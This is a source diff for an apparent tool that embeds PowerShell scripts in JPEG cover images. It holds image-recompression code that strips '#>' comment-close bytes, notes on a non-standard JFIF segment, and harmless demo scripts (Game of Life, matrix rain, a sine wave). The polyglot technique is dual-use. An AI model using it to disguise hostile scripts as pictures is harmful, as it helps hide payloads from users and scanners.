+        for (int quality_val = START_QUALITY; quality_val >= MIN_SAME_DIMENSION_QUALITY; --quality_val) {
+            for (const auto& candidate : ENCODE_CANDIDATES) {
+                printEncodeProgress("Recompress", candidate.label, quality_val, source.size.width, source.size.height);
+
+                compressPixelsToJpeg(
+                    image_file_vec,
+                    source.pixels,
+                    source.size,
+                    compressor.get(),
+                    quality_val,
+                    candidate);
+
+                if (!containsCommentBlockClose(image_file_vec)) {
+                    return true;
+                }
+            }
+        }
+        return false;
+    }
+
+    [[nodiscard]] bool resizeUntilCommentBlockFree(vBytes& image_file_vec) {
+        const DecodedImage pristine = decodeJpeg(image_file_vec);
+        vBytes resize_scratch;
+        auto compressor = makeHandle(tjInitCompress(), "tjInitCompress()");
+
+        const int max_dim = std::max(pristine.size.width, pristine.size.height);
+        const int step = std::max(1, max_dim / 300);
+
+        for (int attempt = 1; attempt <= MAX_RESIZE_ATTEMPTS; ++attempt) {
+            const int decrease_dims_val = attempt * step;
+
+            if (pristine.size.width - decrease_dims_val < MIN_COVER_IMAGE_DIMENSION ||
+                pristine.size.height - decrease_dims_val < MIN_COVER_IMAGE_DIMENSION) {
+                break;
+            }
+
+            const int quality_val = std::clamp(
+                START_QUALITY - ((attempt / 15) * 2),
+                MIN_JPEG_QUALITY,
+                MAX_JPEG_QUALITY);
+            const auto& candidate = ENCODE_CANDIDATES[static_cast<std::size_t>(attempt - 1) % ENCODE_CANDIDATES.size()];
+
+            resizeImage(image_file_vec, pristine, resize_scratch, compressor.get(), quality_val, decrease_dims_val, candidate);
+
+            if (!containsCommentBlockClose(image_file_vec)) {
+                return true;
+            }
+        }
+
+        return false;
+    }
+}
+
+bool makeTailRetryCandidate(std::span<const Byte> source_jpg, vBytes& out, int retry_index) {
+    if (retry_index < 0) {
+        return false;
+    }
+
+    const DecodedImage source = decodeJpeg(source_jpg);
+    auto compressor = makeHandle(tjInitCompress(), "tjInitCompress()");
+
+    constexpr int QUALITY_CANDIDATE_COUNT = START_QUALITY - MIN_SAME_DIMENSION_QUALITY + 1;
+
+    const int same_dimension_candidate_count =
+        QUALITY_CANDIDATE_COUNT * static_cast<int>(ENCODE_CANDIDATES.size());
+
+    if (retry_index < same_dimension_candidate_count) {
+        const int quality_val = START_QUALITY -
+            (retry_index / static_cast<int>(ENCODE_CANDIDATES.size()));
+        const auto& candidate =
+            ENCODE_CANDIDATES[static_cast<std::size_t>(retry_index) % ENCODE_CANDIDATES.size()];
+
+        printEncodeProgress("Tail retry", candidate.label, quality_val, source.size.width, source.size.height);
+        compressPixelsToJpeg(out, source.pixels, source.size, compressor.get(), quality_val, candidate);
+        return !containsCommentBlockClose(out);
+    }
+
+    retry_index -= same_dimension_candidate_count;
+    if (retry_index >= MAX_RESIZE_ATTEMPTS) {
+        return false;
+    }
+
+    vBytes resize_scratch;
+    const int decrease_dims_val = retry_index + 1;
+    const int quality_val = std::clamp(
+        START_QUALITY - ((decrease_dims_val / 15) * 2),
+        MIN_JPEG_QUALITY,
+        MAX_JPEG_QUALITY);
+    const auto& candidate = ENCODE_CANDIDATES[static_cast<std::size_t>(retry_index) % ENCODE_CANDIDATES.size()];
+
+    resizeImage(out, source, resize_scratch, compressor.get(), quality_val, decrease_dims_val, candidate);
+    return !containsCommentBlockClose(out);
+}
+
+bool ensureImageCompatible(vBytes& image_file_vec) {
+    if (image_file_vec.size() <= JFIF_COMPATIBILITY_MARKER_INDEX) {
+        throw std::runtime_error("Image File Error: Image too small to process.");
+    }
+
+    validateJpegHeader(image_file_vec);
+
+    if (isAlreadyCompatible(image_file_vec)) {
+        return false;
+    }
+
+    std::println("\nChecking cover image for comment-block close sequences \"#>\" (0x23, 0x3E).\n");
+    std::println("Image will be progressively recompressed first; dimensions will only be reduced if needed.\n");
+
+    optimizeImage(image_file_vec);
+    downscaleToFit(image_file_vec, AUTO_DOWNSCALE_MAX_DIM);
+    replaceLeadingMetadataWithCleanJfif(image_file_vec);
+
+    if (!containsCommentBlockClose(image_file_vec)) {
+        return true;
+    }
+
+    if (recompressSameDimensionsUntilCommentBlockFree(image_file_vec)) {
+        return true;
+    }
+
+    if (resizeUntilCommentBlockFree(image_file_vec)) {
+        return true;
+    }
+
+    std::println(std::cerr, "\n\nImage Compatibility Error:\n\nProcedure failed to remove close-comment block sequences from cover image.");
+    throw std::runtime_error("Try another image or use an editor such as GIMP to manually reduce (scale) image dimensions.");
+}

src/jpeg_process.h

@@ -0,0 +1,14 @@
+#pragma once
+
+#include "common.h"
+
+#include <span>
+
+// Strips metadata, applies EXIF orientation, and iteratively resizes
+// to eliminate comment-block close sequences "#>" (0x23, 0x3E) from the raw JPEG data.
+// Returns true if the image was modified.
+[[nodiscard]] bool ensureImageCompatible(vBytes& image_file_vec);
+
+// Produces another progressive JPEG candidate from an already-compatible cover image.
+// Returns false if the selected candidate still contains a "#>" sequence.
+[[nodiscard]] bool makeTailRetryCandidate(std::span<const Byte> source_jpg, vBytes& out, int retry_index);

src/jpeg_warning_check.cpp

@@ -0,0 +1,82 @@
+#include "jpeg_warning_check.h"
+
+#include <csetjmp>
+#include <cstddef>
+#include <cstdio>
+#include <jerror.h>
+#include <jpeglib.h>
+#include <vector>
+
+namespace {
+    struct JpegErrorManager {
+        jpeg_error_mgr pub{};
+        jmp_buf jump{};
+        JpegWarningSummary summary{};
+    };
+
+    extern "C" void errorExit(j_common_ptr cinfo) {
+        auto* manager = reinterpret_cast<JpegErrorManager*>(cinfo->err);
+        manager->summary.fatal_error = true;
+        longjmp(manager->jump, 1);
+    }
+
+    extern "C" void emitMessage(j_common_ptr cinfo, int msg_level) {
+        if (msg_level >= 0) {
+            return;
+        }
+
+        auto* manager = reinterpret_cast<JpegErrorManager*>(cinfo->err);
+        switch (cinfo->err->msg_code) {
+            case JWRN_EXTRANEOUS_DATA:
+                ++manager->summary.extraneous_data;
+                break;
+            case JWRN_JPEG_EOF:
+                ++manager->summary.premature_eof;
+                break;
+            default:
+                break;
+        }
+    }
+}
+
+JpegWarningSummary inspectJpegWarnings(std::span<const Byte> jpg) {
+    if (jpg.empty()) {
+        return JpegWarningSummary{ .fatal_error = true };
+    }
+
+    jpeg_decompress_struct cinfo{};
+    JpegErrorManager manager{};
+    bool decompressor_created = false;
+
+    cinfo.err = jpeg_std_error(&manager.pub);
+    manager.pub.error_exit = errorExit;
+    manager.pub.emit_message = emitMessage;
+
+    if (setjmp(manager.jump) != 0) {
+        if (decompressor_created) {
+            jpeg_destroy_decompress(&cinfo);
+        }
+        return manager.summary;
+    }
+
+    jpeg_create_decompress(&cinfo);
+    decompressor_created = true;
+
+    jpeg_mem_src(&cinfo, jpg.data(), jpg.size());
+    (void)jpeg_read_header(&cinfo, TRUE);
+    (void)jpeg_start_decompress(&cinfo);
+
+    const std::size_t row_stride = static_cast<std::size_t>(cinfo.output_width) *
+                                   static_cast<std::size_t>(cinfo.output_components);
+    std::vector<Byte> row(row_stride);
+
+    while (cinfo.output_scanline < cinfo.output_height) {
+        Byte* row_ptr = row.data();
+        (void)jpeg_read_scanlines(&cinfo, &row_ptr, 1);
+    }
+
+    (void)jpeg_finish_decompress(&cinfo);
+    jpeg_destroy_decompress(&cinfo);
+
+    return manager.summary;
+}

src/jpeg_warning_check.h

@@ -0,0 +1,31 @@
+#pragma once
+
+#include "common.h"
+
+#include <span>
+
+struct JpegWarningSummary {
+    bool fatal_error = false;
+    int extraneous_data = 0;
+    int premature_eof = 0;
+
+    [[nodiscard]] bool hasUnsafeTailWarning() const noexcept {
+        // The polyglot output uses a custom non-standard JFIF APP0 (JFIF# instead
+        // of JFIF\0, length 0x0110 = 272 instead of the standard 0x0010 = 16).
+        // libjpeg-turbo >= 3.0 on arm64 emits JWRN_EXTRANEOUS_DATA when it
+        // encounters this non-standard APP0, and may also set the fatal_error flag
+        // as a side effect of losing JPEG stream context after the non-standard segment.
+        //
+        // When both fatal_error AND extraneous_data are set simultaneously, the
+        // fatal_error is a cascading false positive caused by the custom APP0 —
+        // not a sign of a truly broken JPEG tail.
+        //
+        // Only these conditions indicate a genuinely unsafe tail:
+        //   1. fatal_error without any extraneous_data (a real decode failure)
+        //   2. premature_eof (truncated JPEG data)
+        const bool real_fatal = fatal_error && (extraneous_data == 0);
+        return real_fatal || premature_eof > 0;
+    }
+};
+
+[[nodiscard]] JpegWarningSummary inspectJpegWarnings(std::span<const Byte> jpg);

src/pwsh_scripts/game_of_life.ps1

@@ -0,0 +1,117 @@
+Write-Host "Enter the board width (default 20):"
+$widthInput = Read-Host
+if ([string]::IsNullOrWhiteSpace($widthInput)) {
+    $Width = 20
+}
+else {
+    $Width = [int]$widthInput
+}
+
+Write-Host "Enter the board height (default 10):"
+$heightInput = Read-Host
+if ([string]::IsNullOrWhiteSpace($heightInput)) {
+    $Height = 10
+}
+else {
+    $Height = [int]$heightInput
+}
+Write-Host "Enter the number of steps (default 50):"
+$stepsInput = Read-Host
+if ([string]::IsNullOrWhiteSpace($stepsInput)) {
+    $Steps = 50
+}
+else {
+    $Steps = [int]$stepsInput
+}
+$board = @()
+for ($r = 0; $r -lt $Height; $r++) {
+    $row = @()
+    for ($c = 0; $c -lt $Width; $c++) {
+        $randVal = Get-Random -Minimum 0.0 -Maximum 1.0
+        if ($randVal -lt 0.2) {
+            $row += $true
+        }
+        else {
+            $row += $false
+        }
+    }
+    $board += , $row
+}
+function Draw-Board {
+    param([object[]]$board)
+    Clear-Host
+    for ($r = 0; $r -lt $board.Count; $r++) {
+        $rowStr = ""
+        for ($c = 0; $c -lt $board[$r].Count; $c++) {
+            if ($board[$r][$c]) {
+                $rowStr += "#"
+            }
+            else {
+                $rowStr += "."
+            }
+        }
+        Write-Host $rowStr
+    }
+}
+function Get-NeighborCount {
+    param(
+        [object[]]$board,
+        [int]$r,
+        [int]$c
+    )
+    $height = $board.Count
+    $width  = $board[0].Count
+    $count  = 0
+    for ($dr = -1; $dr -le 1; $dr++) {
+        for ($dc = -1; $dc -le 1; $dc++) {
+            if ($dr -eq 0 -and $dc -eq 0) {
+                continue
+            }
+            $nr = $r + $dr
+            $nc = $c + $dc
+            if ($nr -ge 0 -and $nr -lt $height -and
+                $nc -ge 0 -and $nc -lt $width) {
+                if ($board[$nr][$nc]) {
+                    $count++
+                }
+            }
+        }
+    }
+    return $count
+}
+function Next-Board {
+    param([object[]]$board)
+    $height = $board.Count
+    $width  = $board[0].Count
+    $newBoard = @()
+    for ($r = 0; $r -lt $height; $r++) {
+        $newRow = @()
+        for ($c = 0; $c -lt $width; $c++) {
+            $alive     = $board[$r][$c]
+            $neighbors = Get-NeighborCount -board $board -r $r -c $c
+            if ($alive) {
+                if ($neighbors -lt 2 -or $neighbors -gt 3) {
+                    $newRow += $false
+                }
+                else {
+                    $newRow += $true
+                }
+            }
+            else {
+                if ($neighbors -eq 3) {
+                    $newRow += $true
+                }
+                else {
+                    $newRow += $false
+                }
+            }
+        }
+        $newBoard += , $newRow
+    }
+    return $newBoard
+}
+for ($i = 1; $i -le $Steps; $i++) {
+    Draw-Board -board $board
+    $board = Next-Board -board $board
+    Start-Sleep -Milliseconds 200
+}

src/pwsh_scripts/matrix_rain1.ps1

@@ -0,0 +1,171 @@
+#!/bin/bash
+#
+# Matrix Rain
+#
+# Half-width Katakana, alphanumeric, and special characters
+# Color gradient trail: bright white head → green body → dark green tail → erased
+#   - Per-stream variable speed and random gaps between streams
+#   - Buffered frame output (single printf per frame, no subshells in hot loop)
+#   - Terminal resize handling (SIGWINCH)
+#   - Shimmer effect: trail characters randomly change each frame
+
+set -u
+
+MUSIC_PID=""
+
+url="https://cleasbycode.co.uk/media/matrix2.webm"
+
+  if command -v mpv &>/dev/null; then                                                               
+      mpv --no-video "$url" &>/dev/null &
+      MUSIC_PID=$!
+  elif command -v cvlc &>/dev/null; then                                                            
+      cvlc --no-video --play-and-exit "$url" &>/dev/null &
+      MUSIC_PID=$!
+  fi   
+
+# -- Setup --
+printf '\e[?25l\e[2J\e[H'
+
+# Put terminal in raw mode so key presses are immediate (no Enter needed)
+old_tty=$(stty -g)
+stty -echo -icanon min 0 time 0
+
+cleanup() {
+      [[ -n "$MUSIC_PID" ]] && kill "$MUSIC_PID" 2>/dev/null
+      stty "$old_tty"
+      printf '\e[?25h\e[0m\e[2J\e[H'
+      exit 0
+  }
+  trap cleanup INT TERM EXIT
+
+cols=$(tput cols)
+rows=$(tput lines)
+
+recalc() {
+    cols=$(tput cols)
+    rows=$(tput lines)
+    num_streams=$cols
+    ((num_streams < 1)) && num_streams=1
+    printf '\e[2J'
+}
+trap recalc WINCH
+
+# Single-cell characters — one stream per column
+cell_w=1
+num_streams=$cols
+((num_streams < 1)) && num_streams=1
+
+# Matrix character set: half-width Katakana + digits + Latin + punctuation/symbols
+chars=(
+    # Half-width Katakana (the iconic Matrix look)
+    ｦ ｧ ｨ ｩ ｪ ｫ ｬ ｭ ｮ ｯ ｰ ｱ ｲ ｳ ｴ ｵ ｶ ｷ ｸ ｹ ｺ ｻ ｼ ｽ ｾ ｿ
+    ﾀ ﾁ ﾂ ﾃ ﾄ ﾅ ﾆ ﾇ ﾈ ﾉ ﾊ ﾋ ﾌ ﾍ ﾎ ﾏ ﾐ ﾑ ﾒ ﾓ ﾔ ﾕ ﾖ ﾗ ﾘ ﾙ ﾚ ﾛ ﾜ ﾝ
+    # Digits
+    0 1 2 3 4 5 6 7 8 9
+    # Latin
+    A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
+    a b c d e f g h i j k l m n o p q r s t u v w x y z
+    # Symbols / special characters
+    '!' '@' '#' '$' '%' '^' '&' '*' '(' ')' '+' '=' '<' '>' '?' '/'
+    '{' '}' '[' ']' '|' ':' ';' '~'
+)
+nchars=${#chars[@]}
+
+# Trail color gradient (head to tail)
+C_HEAD='\e[1;97m'       # bold bright white  (leading character)
+C_NEAR='\e[1;92m'       # bold bright green  (just behind head)
+C_BODY='\e[38;5;46m'    # bright green       (upper trail)
+C_MID='\e[38;5;34m'     # medium green       (mid trail)
+C_TAIL='\e[38;5;22m'    # dark green         (lower trail)
+C_DIM='\e[38;5;236m'    # near-black         (fading out)
+
+# -- Per-stream state arrays --
+declare -a s_row s_len s_spd s_gap s_on
+
+reset_stream() {
+    local i=$1
+    s_row[$i]=$(( -(RANDOM % (rows / 2 + 1)) ))   # start above screen
+    s_len[$i]=$(( RANDOM % 14 + 6 ))               # trail length 6-19
+    s_spd[$i]=$(( RANDOM % 2 + 1 ))                # speed 1-2 rows/frame
+    s_on[$i]=1
+}
+
+for ((i = 0; i < num_streams; i++)); do
+    reset_stream "$i"
+done
+
+# -- Main loop --
+while true; do
+    buf=''
+
+    for ((i = 0; i < num_streams; i++)); do
+        # Handle inactive streams (gap countdown)
+        if (( !s_on[i] )); then
+            (( --s_gap[i] <= 0 )) && reset_stream "$i"
+            continue
+        fi
+
+        c=$((i * cell_w + 1))   # 1-based terminal column
+        h=${s_row[i]}
+        l=${s_len[i]}
+
+        # -- Draw the gradient trail from head to tail --
+
+        # Head: bright white (the leading drop)
+        if (( h >= 1 && h <= rows )); then
+            buf+="\e[${h};${c}H${C_HEAD}${chars[RANDOM % nchars]}"
+        fi
+
+        # 1 behind: bold bright green
+        (( p = h - 1 ))
+        if (( p >= 1 && p <= rows )); then
+            buf+="\e[${p};${c}H${C_NEAR}${chars[RANDOM % nchars]}"
+        fi
+
+        # Upper trail body: bright green (shimmer)
+        (( p = h - l / 4 ))
+        if (( p >= 1 && p <= rows && RANDOM % 2 == 0 )); then
+            buf+="\e[${p};${c}H${C_BODY}${chars[RANDOM % nchars]}"
+        fi
+
+        # Mid trail: medium green (shimmer)
+        (( p = h - l / 2 ))
+        if (( p >= 1 && p <= rows && RANDOM % 3 == 0 )); then
+            buf+="\e[${p};${c}H${C_MID}${chars[RANDOM % nchars]}"
+        fi
+
+        # Lower trail: dark green (shimmer)
+        (( p = h - 3 * l / 4 ))
+        if (( p >= 1 && p <= rows && RANDOM % 3 == 0 )); then
+            buf+="\e[${p};${c}H${C_TAIL}${chars[RANDOM % nchars]}"
+        fi
+
+        # Fading out: near-black just before erase
+        (( p = h - l + 1 ))
+        if (( p >= 1 && p <= rows )); then
+            buf+="\e[${p};${c}H${C_DIM}${chars[RANDOM % nchars]}"
+        fi
+
+        # Erase: clear the tail end
+        (( p = h - l ))
+        if (( p >= 1 && p <= rows )); then
+            buf+="\e[${p};${c}H "
+        fi
+
+        # Advance the stream
+        (( s_row[i] += s_spd[i] ))
+
+        # Deactivate when fully off-screen
+        if (( h - l > rows )); then
+            s_on[$i]=0
+            s_gap[$i]=$(( RANDOM % 40 + 5 ))   # pause 5-44 frames before restart
+        fi
+    done
+
+    printf '%b' "$buf"
+
+    # Exit on any key press
+    if read -rsn1 -t 0.035 _; then
+        break
+    fi
+done

src/pwsh_scripts/text_sine.ps1

@@ -0,0 +1,64 @@
+# text-sine.ps1 created by Darren Shaw / @gierrofo
+# Make a command-line sine wave
+# Powershell trig functions work on radians
+# rad = deg * (pi/180)
+# To get value between 0 and -1
+# [math]::sin($deg * ([math]::pi/180))
+# Uses [system.console]::keyavailable to check if a key has been pressed, stopping if it has.
+
+# Setup some variables
+$hostwidth = $Host.UI.RawUI.WindowSize.Width
+$display_char= ".-=:§[#]§:=-."
+$dcl = $display_char.length
+$hostwidth = ($hostwidth - (2 * $dcl)) / 2
+$centre = $hostwidth + ($dcl / 2)
+$delay = 15
+$continue = $true
+$str_colours = "DarkGreen", "DarkCyan", "DarkYellow", "Gray", "DarkGray", "Green", "Cyan", "Red", "Magenta", "Yellow", "White"
+$change_colour = 360 / $str_colours.count
+$clear_screen_after = $str_colours.count * 4
+$number_of_runs = 0
+$lowest_speed = 2
+$speed = $lowest_speed
+$speed_inc = 1
+$max_speed = 18
+
+Clear-Host 
+
+While ($continue -eq $true) {
+	$str_colours = $str_colours | Sort-Object {Get-Random}	# Shuffle the colour order
+
+	For ($deg = -90; $deg -lt 270; $deg = $deg + $speed) {		# Start at -90 to draw at left-hand column
+		# Calcualte where we're drawing
+		$offset_delta = [math]::sin($deg * ([math]::pi/180))
+		$offset = ($centre * $offset_delta)
+		$location = [math]::round($centre + $offset + $dcl)
+
+		# Pad the string to get us to the location
+		$display_str = $display_char.PadLeft($location, " ")
+
+		# Change the colour at equal time based on how many colours we're using
+		$str_colour_num = [math]::truncate(($deg / $change_colour))
+		$str_colour = $str_colours[$str_colour_num]
+
+		# Write the string
+		Write-Host -ForegroundColor ${str_colour} "${display_str}"
+
+		# Wait a little bit to avoid screen tearing and check for a keypress to exit
+		Start-Sleep -Milliseconds $delay
+		If ([system.console]::keyavailable) {
+			$continue = $false
+			break
+		}
+	}
+	# Clear the screen after a set number of runs, stops the screen buffer filling up
+	$number_of_runs++
+	If ($number_of_runs -gt $clear_screen_after) { 
+		Clear-Host 
+		$number_of_runs = 0
+	}
+	
+	$speed = $speed + $speed_inc
+	If ($speed -eq $max_speed) { $speed_inc = -1 }
+	If ($speed -eq $lowest_speed) { $speed_inc = 1 }
+}

src/stb_image/LICENSE.md

@@ -0,0 +1,37 @@
+This software is available under 2 licenses -- choose whichever you prefer.
+------------------------------------------------------------------------------
+ALTERNATIVE A - MIT License
+Copyright (c) 2017 Sean Barrett
+Permission is hereby granted, free of charge, to any person obtaining a copy of
+this software and associated documentation files (the "Software"), to deal in
+the Software without restriction, including without limitation the rights to
+use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
+of the Software, and to permit persons to whom the Software is furnished to do
+so, subject to the following conditions:
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+------------------------------------------------------------------------------
+ALTERNATIVE B - Public Domain (www.unlicense.org)
+This is free and unencumbered software released into the public domain.
+Anyone is free to copy, modify, publish, use, compile, sell, or distribute this
+software, either in source code form or as a compiled binary, for any purpose,
+commercial or non-commercial, and by any means.
+In jurisdictions that recognize copyright laws, the author or authors of this
+software dedicate any and all copyright interest in the software to the public
+domain. We make this dedication for the benefit of the public at large and to
+the detriment of our heirs and successors. We intend this dedication to be an
+overt act of relinquishment in perpetuity of all present and future rights to
+this software under copyright law.
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.